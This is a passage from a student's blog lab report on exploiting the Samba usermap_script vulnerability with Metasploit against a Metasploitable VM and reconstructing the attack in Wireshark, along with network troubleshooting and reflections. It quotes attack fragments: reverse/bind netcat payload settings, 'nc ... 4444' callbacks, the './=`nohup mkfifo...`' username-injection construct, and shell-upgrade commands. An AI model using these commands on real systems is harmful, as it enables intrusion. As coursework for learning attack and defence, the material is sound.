  根治措施——回到漏洞本身,这个 CVE 早在 2007 年就有了 Samba 官方补丁,做的事是在 username map 之前对用户名做 shell 元字符转义。对于像 Metasploitable 这种永远不会再升级的"教学用古董",可以在 smb.conf 里手动注释掉 username map script 配置项,或者把 Samba 服务绑死在内网某个不暴露的接口上。当然,最优解还是不要让 Samba 3.0.x 跑在线网络上——它的攻击面远不止 usermap_script 这一个 CVE。


第二部分小结

视角 主要工具 关键操作 关键证据
攻方(搭档 / 20253904) Metasploit Framework v6.4.99-dev use samba/usermap_script + cmd/unix/bind_netcat + RHOST=.81 + exploit session 1/2 opened, whoami=root, mkdir test, echo > Test.txt
守方(本人 / 20253909) Wireshark + 显示过滤 + Follow TCP Stream + Statistics 抓 eth0 全流量 → smb 过滤 → tcp.port==4444 过滤 → Follow Stream 还原命令 完整还原攻击 IP、端口、漏洞、Shellcode、所有命令、攻击者身份

三、学习中遇到的问题及解决

问题 1:校园网 + 桥接模式下两台虚拟机无法 ping 通;NAT 切换后又因为残留的静态配置仍然不通

  这是任务一开工时折腾时间最长的一个问题,因此放在第一位详写。

  起点:最初主机连的是校园网,Kali 和 Metasploitable 都用"桥接模式"。Kali 桥接拿到的地址是 172.20.10.10/28(校园 wifi 给的,netmask 255.255.255.240),见图32。

图32
图32:Kali 桥接拿到 172.20.10.10/28(校园 wifi 地址)

  但 Metasploitable 这边 ping Kali 一直不通(图33):ping 169.254.122.87 / 172.20.10.10 都返回 Destination Host Unreachable,前面的源 IP 写着 From 192.168.200.130

图33
图33:Metasploitable 无法 ping 通,且源 IP 显示为 192.168.200.130

  关键观察:图33 里有一个非常诡异的细节——From 192.168.200.130 icmp_seq=2 Destination Host Unreachable。靶机明明应该在桥接网段(172.20.10.x),但它发出去的 ICMP 报文源 IP 却是 192.168.200.130。这说明 Metasploitable 上有人之前手工把 eth0 写死成 192.168.200.130 了——尽管现在网络模式已经是桥接,eth0 没有也不可能从校园 wifi 拿到桥接网段的地址,但它仍在用那个老的静态 IP 在 192.168.200.0/24 这个根本不存在的网段里"自言自语"。

  第一步排查:先把网络适配器从桥接模式改回 NAT 模式(VMnet8),VMnet8 是 VMware 完全可控的内网,至少能保证 DHCP 服务一定能工作(图34)。

图34
图34:从桥接改回 VMnet8 NAT 模式

  切回 NAT 之后再 ifconfig,发现 eth0 的 IP 仍然是 192.168.200.130。第二步排查 —— 找到罪魁祸首sudo vim /etc/rc.local 打开开机启动脚本(图35),赫然看到 By default this script does nothing 注释下方有两行没有被注释掉的静态配置:

ifconfig eth0 192.168.200.130 netmask 255.255.255.0
route add default gw 192.168.200.1

  这正是问题根源——靶机每次开机都会执行 rc.local,把 eth0 强制刷成 192.168.200.130,完全覆盖 DHCP 拿到的地址。

图35
图35:在 /etc/rc.local 里发现残留的静态 IP 配置

  为了改这个文件,先在 Metasploitable 的 msfadmin 用户下用 sudo vim 进入编辑模式,输入密码(图36)。

图36
图36:sudo vim 输入密码进入编辑

  解决方案的核心动作:在 vim 里给那两行各加一个 # 注释符(图37),让 rc.local 在每次开机时不再覆盖 DHCP 配置。这一步是这道题的关键——之前的实验日志里我搞反了方向,把"添加这两行"当成了解决步骤,实际上恰恰相反:解决方案是把这两行注释掉

图37
图37:把 rc.local 里的两行静态配置注释掉

  第三步排查 —— 还有一个潜在问题:检查 /etc/network/interfaces 时发现这里也曾经被改过,有过 static 模式 + address 192.168.200.130 / gateway 192.168.200.129 / netmask 255.255.255.128 的设置,虽然这次打开时已经全部用 # 注释了,主体配置回到了 iface eth0 inet dhcp,但保留这几行注释作为"已知雷区标记"(图38)。

图38
图38:/etc/network/interfaces 里残留的旧 static 行已被注释

  最终把 /etc/network/interfaces 整理成最干净的 DHCP-only 形式(图39):source /etc/network/interfaces.d/* / loopback auto lo, iface lo inet loopback / auto eth0, iface eth0 inet dhcp。eth0 单纯走 DHCP,不再有任何静态配置干扰。

图39
图39:清理后的 /etc/network/interfaces

  第四步 —— 主机网络也要换:另一个隐性原因是主机连的校园网做了客户端隔离(很多大学校园 wifi 都默认禁止同网段二层互通),即使靶机正确拿到桥接地址,攻击机和靶机之间也可能被 AP 阻挡 ARP 而无法 ping 通。所以把主机的 wifi 从校园网切到我自己的手机热点——手机热点是个干净的 192.168.43.0/24 网络,不会做客户端隔离。

  修好之后的验证:重启 Metasploitable 后 ifconfig 看到 eth0 真正按 DHCP 拿到了 192.168.200.130(图40,这次是 VMnet8 NAT 的 DHCP 分配的、而不是 rc.local 强写的),后续在多次实验中又通过 DHCP 拿到了 192.168.200.3(任务一正文里看到的就是那个最终状态)。

图40
图40:修好后 eth0 通过 DHCP 自动拿到 192.168.200.130

  ping 测试也通过了(图41,4 个 ICMP 包全通、TTL=64、首包 8.39 ms、后续稳定在 0.22 ms)。环境算是彻底搞定,接下来 msf 攻击就一气呵成。

图41
图41:修复后 ping 测试通过

  整理一下这次踩雷的完整教训

  1. 校园网做了客户端隔离 → 即使桥接配对了也 ping 不通 → 解决:换用手机热点或者改 NAT。
  2. /etc/rc.local 里残留的 ifconfig eth0 ... static会在每次开机时覆盖 DHCP → 解决:把那两行# 注释掉(之前实验日志里我把方向写反了,记成"添加这两行",实际上要做的恰恰相反,是注释掉它们)。
  3. /etc/network/interfaces 里写死的 static 块同样会覆盖 DHCP → 解决:注释掉 static 模式相关的几行,保留 iface eth0 inet dhcp 作为唯一配置。
  4. 判断到底是不是这类静态配置在作怪的快速方法:看 ping 返回的 From x.x.x.x icmp_seq=N Destination Host Unreachable —— 那个 From 后面的源 IP 就是 eth0 当前实际持有的地址;如果它跟你预期的网络模式给的地址不一致(比如桥接模式下却显示 192.168.200.xxx),就是有静态配置覆盖了 DHCP。

  额外说明:任务二(团队对抗)的两台虚拟机直接是"手机热点 + 桥接模式",因为前面 rc.local 和 /etc/network/interfaces 都已经清干净了,所以一启动就拿到了正常的 192.168.43.226(攻)/ 192.168.43.81(守),没遇到这次的反复折腾。


问题 2:第一次 set payload cmd/unix/reverse_netcat 后 exploit 没拿到 session

  问题描述:使用 set payload cmd/unix/reverse_netcat 后第一次执行 exploit,提示 Exploit completed, but no session was created,handler 起来了但没有连接进来。

  解决方案:仔细排查发现 LHOST 当时配错了——Kali 在 NAT 模式下 eth0 的 IP 是 192.168.200.11,但我顺手敲成了 192.168.200.10,导致靶机执行 nc 192.168.200.10 4444 反弹时连不上我(那个地址并不存在或没监听)。改成正确的 192.168.200.11 后立即成功。

  经验:每次切换网络模式后都要重新 ifconfig 查实际的 LHOST,不能靠记忆。msf 并不会对 LHOST 做 sanity check(它甚至允许设成一个不在本机网卡上的地址),所以一旦填错就只会无声无息地失败。这种"silent failure"在渗透中很常见,调试技巧是先 nc -lvnp 4444 在攻击机上手动起监听验证 LHOST 是否正确,再回到 msf 跑 exploit。


问题 3:守方 Wireshark 抓到的包太多,找 SMB 攻击包和反弹 shell 包很费劲

  问题描述:eth0 上除了攻击流量之外,还有大量 ARP 广播、mDNS、SSDP、路由器周期性的 IGMP 通告等"背景噪声",盯着包列表挨个看几乎没法找到关键证据。

  解决方案 —— 分层显示过滤

  • 大局视角:ip.src == 192.168.43.226 || ip.dst == 192.168.43.81 看跟攻击有关的全部流量;
  • 漏洞触发视角:smb && ip.src == 192.168.43.226 只看从攻击者发出的 SMB 包(图25);
  • bind shell 视角:tcp.port == 4444 只看 bind shell 通道的所有包;
  • 单条会话视角:右键任一相关包 → Follow → TCP Stream,msf 的 stream id 0/3/6 分别对应漏洞利用、第一次 session、第二次 session。

  经验:分层过滤是 Wireshark 取证的核心技巧。每一种攻击行为对应一个独立的过滤器(端口、协议、源/目的 IP 的组合),思路就清晰了;如果一上来就在全量包列表里翻,效率会非常低。我后来意识到还有个小技巧:可以把常用过滤器存成 Wireshark 的 Filter Bookmarks(点过滤栏左边的旗帜图标),下次同类分析直接调出来用,不用每次手敲。


问题 4:cmd/unix/reverse_netcat 反弹回来的 shell 没有提示符

  问题描述:拿到反弹 shell 之后看不到 $# 提示符,第一眼以为 shell 没 attach 上,敲命令也不知道有没有响应。

  解决方案:这是 reverse_netcat 这种"裸 nc + sh"组合的固有限制——payload 只是把 stdin/stdout 桥接到 nc,没有 PTY(伪终端),所以也没有 readline、没有 prompt、没有 echo back。但功能上是完全可用的——直接敲 whoami 回车就有回显。如果想要更友好的交互体验,可以选 cmd/unix/reverse_python 让 Python 起一个 PTY,或者在拿到 shell 之后手工 spawn 一个 PTY:

python -c 'import pty;pty.spawn("/bin/bash")'

  然后在本地 Ctrl-Z 把 nc 放后台,再执行 stty raw -echo; fg,最后在远端敲 export TERM=xtermexport SHELL=/bin/bash,就能得到一个跟本地几乎无差别的全功能 shell(带 prompt、能用 tab 补全、能用方向键调 history)。

  经验没有提示符 ≠ 没拿到 shell。reverse_netcat 类 payload 的"裸 shell"特征就是无 prompt、无 echo、按方向键也不解析(参考下面的问题 5)。要先敲一个 whoamiid 试一下再下结论是否成功。


问题 5:Follow TCP Stream 里出现 .[A.[A.[A.[B.[B.[Bls 这种"乱码"

  问题描述:tcp.stream eq 3 的命令交互里看到攻击者敲了 .[A.[A.[A.[A.[A.[B.[B.[Bls,第一眼以为是某种混淆攻击。

  解决方案:仔细一看才发现这是 ANSI 转义序列——\x1b[A 是上方向键、\x1b[B 是下方向键、\x1b[C/D 是左右方向键。攻击者只是想按方向键调出 shell history(在他自己的本地终端里这是日常操作),没想到 cmd/unix/bind_netcat 的"裸 nc"shell 不解析这些转义而是把它们原样发给了远端的 sh,远端 sh 把整串当成一个命令名查找,找不到就回 not found

  经验这其实是 reverse_netcat / bind_netcat 这类裸 nc payload 的一个识别特征——正经的 SSH 会话或一个真正的 PTY 会消化掉这些转义,但裸 nc 会原样透传,攻击者按了多少次方向键全都看得见。守方从这些"按方向键的痕迹"里甚至能推测出攻击者对自己手敲命令的犹豫和回退(比如他先尝试按上箭头调 history,发现不行,才老老实实敲 ls),这种行为指纹对取证刻画攻击者的熟练程度很有意思。


问题 6:解读 SMB Account 字段里的 ./=\...`` 形式

  问题描述:图25/26 里看到 SMB Session Setup AndX 的 Account 字段开头是 ./=`nohup mkfifo...`,前面的 ./= 看起来很奇怪。

  解决方案:这是命令注入的经典构造模式。Samba 的 username map script 会把用户名直接拼到 shell 命令行里,形如 script "username"./= 其实是为了构造一个"变量赋值表达式 + backtick 命令替换"的合法 shell 语法:

  • 在 shell 里 name=value 是合法的变量赋值;
  • 反引号包起来的部分 `cmd` 会被立即作为子命令执行;
  • 所以 ./=`cmd` 就是给一个叫 ./ 的"变量名"赋一个由 cmd 执行结果组成的值——但实际意图不是赋值,而是让 cmd 在赋值过程中被执行。

  经验:理解利用代码不能只看表面字符。Samba usermap_script 这个漏洞利用的精髓是"用 shell 的元语义把不该执行的字符串变成可执行命令",类似的思路在 SQL 注入、模板注入、命令拼接漏洞中反复出现,是研究 web 安全和系统安全时必须掌握的一种思维模式。


四、实践总结

  这次实验做完,我有几点比较深的体会想记下来。

  Samba usermap_script 这个漏洞从 2007 年公开至今已经快 20 年了,但 msf 把它打磨成了一行 set RHOSTS x.x.x.x 加一个 exploit 就能落地的傻瓜模块。它默认选的 payload cmd/unix/reverse_netcat 背后实际下发的 shellcode,不过是一段"命名管道 + nc + sh"的 bash 单行命令,简单到能写在便签纸上。但就是这样朴素的工具,被 msf 包装、参数化、自动化之后,威力变得异常之大:指纹识别、payload 选择、回连/绑定握手、session 管理一条龙。漏洞本身没多复杂,复杂的是把漏洞规模化武器化的能力——这才是 Metasploit 真正的价值,也是为什么"漏洞曝光"和"漏洞被大规模利用"之间往往会有一个明显的时间窗口(在 msf 等工具加入 exploit 之前)。

  再说"对调身份"带来的视角变化。上次实验我作为攻方打搭档的 Win2k,那时候关注的全是"怎么让 exploit 跑通"。这次对调成守方后才意识到,攻击者的每一个动作在网络上都是裸奔的:从 SMB 协议层面 Session Setup AndX 包里那段裸的 nohup mkfifo ...; nc -l -p 4444 ... shellcode,到 bind shell 通道里一笔一画的 mkdir testecho Hello Im 20253904 dhp>>Test.txt,再到他不小心按方向键产生的 ^[A^[A^[A 转义序列,全部明文、全部可读、全部可还原。攻防分析从来不是某种玄学,就是把字节对着协议规范一字一字读出来的工作。Wireshark 的 Follow TCP Stream 让这件事变得很方便,但理解每个字节为什么在那里、来自协议的哪个字段、对应攻击的哪一步动作,这才是守方真正的功夫所在。

  关于"明文协议"我也忍不住要写一下。整个攻击过程没有任何东西是加密的——SMB 协议明文跑在 TCP 上、bind shell 的命令明文跑在 TCP 上、靶机回显的 /etc/passwd 内容也明文跑在 TCP 上。任何在网络路径上的角色(路由器、ISP、隔壁桌做 ARP 投毒的中间人)都能看到所有这些。这就是为什么所有现代协议都强制加密的原因:HTTPS、SSH、SMB3 + signing、IPSec、TLS 1.3,本质上都在解决同一类问题。这次实验里我能从抓包里完整还原攻击者敲过的每一个键,不是因为我多厉害,而是因为目标系统跑的是 2007 年风格的 Samba + 2007 年风格的 nc shell 通道。换句话说,任何 2025 年还在生产环境裸奔的明文协议,都应该被当作严重的安全债务处理。

  然后是环境踩雷给我的提醒。这次实验在环境搭建上反复折腾,根因不是技术多复杂,而是"以前为了图方便加上去的东西后来反过来咬自己"——/etc/rc.local 里那两行硬编码的 ifconfig eth0 192.168.200.130/etc/network/interfaces 里的旧 static 块都是上一次某次实验为了"省事"留下的,时间一长就变成了下一次实验的隐藏炸弹。这对做工程很有警示意义:临时手段一定要写在显眼的注释或文档里,不然几次实验之后自己都不记得在哪里加过什么、为什么不通。另外那个排错小技巧也值得记下来——看 ping 返回的 From x.x.x.x icmp_seq=N Destination Host Unreachable 里的 From 字段,能立刻知道当前 eth0 实际持有的地址,对判断"是不是哪里有人偷偷把 IP 写死了"非常有用。这个技巧后来我也在别处用到过。

  两个任务串起来看是在讲同一件事:漏洞的技术细节会过时(usermap_script 早就被 Samba 官方打了补丁),利用工具会更新(msf 还在每天提交新模块),检测规则会演化(snort/suricata 的特征库一直在更新),但攻防的"信息流图谱"是不会变的——攻击者的每一个动作必然要表现为网络上的某种数据,只要这些数据能被捕获,就一定可以被分析、被理解、被检测、被防御。msf 让攻击者能"5 行命令拿下一台机器",Wireshark 让防御者能"5 个过滤器还原整个攻击"——这次实验相当于浓缩地走了攻防对抗一整圈的"信息环"。从这个意义上说,攻防双方其实是在同一张协议规范上用不同的角度做"阅读理解",理解协议比理解任何特定工具都重要。

  最后一点。把搭档的身份签名 "20253904 dhp" 写到我的服务器上,当然只是个无害的玩笑,但它也直观地展示了:一旦失守,攻击者就能以你的身份在你的系统里写任何东西。今天写的是无害字符串,明天写的可能就是数据库里的伪造交易、网站根目录里的钓鱼页面、/etc/passwd 里新增的后门账户、/etc/cron.daily/ 里的勒索 payload——同样的几行命令、同样的几个端口,截然不同的后果。做攻防研究的人特别要守得住伦理底线,让自己的能力只在该用的地方用。


参考资料

posted @ 2026-05-09 20:40  帅哥KID23  阅读(39)  评论(0)    收藏  举报
MENU
☀️
📖
Jerome-KID
网络安全 · 技术笔记
博客导航
🏠博客首页 📁文章分类 🗂文章归档 🏷标签索引
课程相关
🎓班级首页 👨‍🏫老师博客
个人
✏️写新随笔 👤博客园主页 ✉️联系我 📡RSS 订阅
🏠
A+
A−
👍
🔗
💬
🖨
📋 目录
1 / 1

⌨ 键盘快捷键

  • 显示此帮助?H
  • 切换夜间模式D
  • 打开/关闭目录T
  • 回到顶部G
  • 图片上一张 / 下一张
  • 关闭弹窗Esc
  • 放大 / 缩小字号+
📖 上次阅读到 68%
☀️ 早上好
🎉
您已读完全文
感谢您的认真批阅!